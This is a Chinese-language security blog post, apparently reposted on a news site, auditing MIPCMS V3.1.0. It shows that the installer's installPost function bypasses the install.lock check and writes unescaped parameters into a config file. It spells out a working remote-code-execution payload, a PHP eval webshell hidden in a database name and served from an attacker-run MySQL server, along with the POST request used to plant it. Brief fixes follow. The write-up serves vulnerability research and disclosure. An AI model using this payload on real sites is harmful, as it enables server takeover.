安全圈 | 专注于最新网络信息安全讯息新闻

首页

mipcms遠程寫入設定檔getshell

作者 gigliotti 时间 2020-02-28
all

  MIPCMS -基於百度MIP移動加速器SEO優化後的網站系統。在稽核程式碼中,發現一個可以遠程寫入設定檔Getshell的漏洞,感覺挺有意思的,分享一下思路。

MIPCMS官網:https://www.mipcms.cn

網站源碼版本:MIPCMS內容管理系統V3.1.0(發佈時間:2018-01-01)

程式源碼下載:http://www.mipcms.cn/mipcms-3.1.0.zip

默認後臺地址:http://127.0.0.1/admin

默認帳號密碼:帳號密碼自設

1、漏洞檔案位置:/app/install/controller/Install.php第13-23行:

1. public function index()  

2. {  

3.      

4.     if (is_file(PUBLIC_PATH . 'install' . DS .'install.lock')) {  

5.         header('Location: ' . url('@/'));  

6.         exit();  

7.     }  

8.     if (!defined('__ROOT__')) {  

9.         $_root = rtrim(dirname(rtrim($_SERVER['SCRIPT_NAME'], '/')), '/');  

10.        define('__ROOT__', (('/' == $_root || '\\' == $_root) ? '' : $_root));  

11.    }  

在index函數中,檢測是否存在install.lock檔案,判斷網站是否已經安裝,檢測是在index函數中,非初始化函數中,故在接下來的安裝過程中,如果沒有繼續檢測lock檔案,那麼就存在一個繞過的情况,進行CMS重裝。我們繼續往下看,同檔案下的函數,第118-142行:

1. public function installPost(Request $request) {  

2.                header('Access-Control-Allow-Origin: *');  

3.                header('Access-Control-Allow-Credentials: true');  

4.                header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');  

5.                header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');  

6.            if (Request::instance()->isPost()) {  

7.                $dbconfig['type']=“mysql”;  

8.                $dbconfig['hostname']=input('post.dbhost');  

9.                $dbconfig['username']=input('post.dbuser');  

10.               $dbconfig['password']=input('post.dbpw');  

11.               $dbconfig['hostport']=input('post.dbport');  

12.               $dbname=strtolower(input('post.dbname'));  

13.                 

14.               $username = input('post.username');  

15.               $password = input('post.password');  

16.               $rpassword = input('post.rpassword');  

17.               if (!$username) {  

18.                   return jsonError('請輸入用戶名');  

19.               }  

20.               if (!$password) {  

21.                   return jsonError('請輸入密碼');  

22.               }  

23.               if (!$rpassword) {  

24.                   return jsonError('請輸入重複密碼');  

25.               }  

    我們可以直接跳轉到這一步,繞過index函數中install.lock的檢測。可以看到,這段installPost函數中獲取了多個參數,並沒有檢測lock檔案,繼續往下看:

1. $dsn = “mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8”;  

2. try {  

3.     $db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);  

4. } catch (\PDOException $e) {  

5.     return jsonError('錯誤代碼:'.$e->getMessage());  

6. }  

7. $dbconfig['database'] = $dbname;  

8. $dbconfig['prefix']=trim(input('dbprefix'));  

9. $tablepre = input(“dbprefix”);  

10. $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');  

11. $sql = str_replace(“\r”, “\n”, $sql);  

12. $sql = explode(“;\n”, $sql);  

13. $default_tablepre = “mip_”;  

14. $sql = str_replace(“ `{$default_tablepre}”, “ `{$tablepre}”, $sql);  

15. foreach ($sql as $item) {  

16.    $item = trim($item);  

17.    if(empty($item)) continue;  

18.    preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);  

19.    if($matches) {  

20.        if(false !== $db->exec($item)){  

21.  

22.        } else {  

23.           return jsonError('安裝失敗');  

24.        }  

25.    } else {  

26.        $db->exec($item);  

27.    }  

28. }  

這段函數對獲取的參數進行檢測,Mysql資料庫連接失敗會報錯退出,接著進行導入資料庫操作。繼續往下看,第172-192行:

1. if(is_array($dbconfig)){  

2.     $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');  

3.     foreach ($dbconfig as $key => $value) {  

4.         $conf = str_replace(“#{$key}#”, $value, $conf);  

5.     }  

6.     $install = CONF_PATH;  

7.     if(!is_writable($install)){  

8.         return jsonError('路徑:'.$install.'沒有寫入許可權');  

9.     }  

10.    try {  

11.        $fileStatus = is_file(CONF_PATH. '/database.php');  

12.        if ($fileStatus) {  

13.             unlink(CONF_PATH. '/database.php');  

14.        }  

15.        file_put_contents(CONF_PATH. '/database.php', $conf);  

16.        return jsonSuccess('設定檔寫入成功',1);  

17.    } catch (Exception $e) {  

18.        return jsonError('database.php檔案寫入失敗,請檢查system/config 資料夾是否可寫入');  

19.    }  

在installPost函數的最後,將參數寫入到設定檔database.php中,而且並未對參數進行任何過濾或轉義,攻擊者可以構造腳本程式碼寫入設定檔。

綜上,首先程式流程不嚴謹,可以繞過install.lock檢測進入installPost函數中,可直接進行CMS重裝,或者通過構造參數將腳本程式碼寫入設定檔,進一步去觸發腳本程式碼,控制網站服務器,程式在實現上存在遠程程式碼執行漏洞,危害極大。

類比環境:網站服務器IP:192.168.8.131  

         攻擊者服務器IP:192.168.8.1

漏洞利用管道一:CMS重裝

1、本地搭建mysql服務,新建資料庫mipcms,然後安裝MIPCMS

2、構造Payload成功寫入設定檔

漏洞利用管道二:遠程寫入設定檔Getshell

1、如何去構造Payload

難題1:構造的參數在Mysql連接中,必須連接成功,不然程式就報錯退出了。

在寫入設定檔中,我們能够控制的參數有5個參數,到底哪個參數能利用呢?寫入設定檔的形式如下:

1. return [  

2.     'hostname'       => '127.0.0.1',    // 伺服器地址  

3.     'database'       => 'test',         // 資料庫名  

4.     'username'       => 'root',         // 用戶名  

5.     'password'       => 'root',         // 密碼  

6.     'hostport'       => '3306',         // 埠  

7. ];  

為了能讓Mysql連接成功,我們需要自己搭建一個Mysql服務,讓程式連接不會報錯,這樣才能繼續利用。另外,在5個參數中,伺服器地址和埠是不能改的,用戶名限制不能超過16比特,Mysql的密碼是加密也不好利用,唯一剩下可以利用的就是資料庫名,要建立一個與Payload名字一樣的資料庫名,才能連接成功。

難題2:寫入設定檔的時候,大寫會全部轉化為小寫,那麼全域變數$_GET等,全域不能利用:

為此,測試了不少一句話木馬,嘗試通過加密來解决問題,但一直沒成功,最終,靈感突現,直接放弃$_GET/$_POST,利用php://input實現的webshell,就不必烦乱於大小寫了。

1. 最終資料庫名的Payload:  

2. test',1=>eval(file_get_contents('php://input')),'xx'=>'  

2、漏洞利用過程:

過程1:首先在攻擊者服務器(192.168.8.1)搭建一個Mysql服務,新建資料庫命名為:test',1=>eval(file_get_contents('php://input')),'xx'=>'

過程2:訪問網站服務器(192.168.8.131)提交Payload寫入設定檔

Payload:  

http:  

POST:username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php:  

進一步去觸發腳本程式碼,執行系統命令,whoami查看網站服務器當前用戶為administrator:

1、寫入設定檔前,對特殊字元(如“、'、<、>等)進行htmlencode處理;

2、全域配寘可考慮寫入資料庫進行調用。

Bypass

About Me

一個網路安全愛好者,對科技有著偏執狂一樣的追求。致力於分享原創高品質乾貨,包括但不限於:滲透測試、WAF繞過、程式碼稽核、安全運維。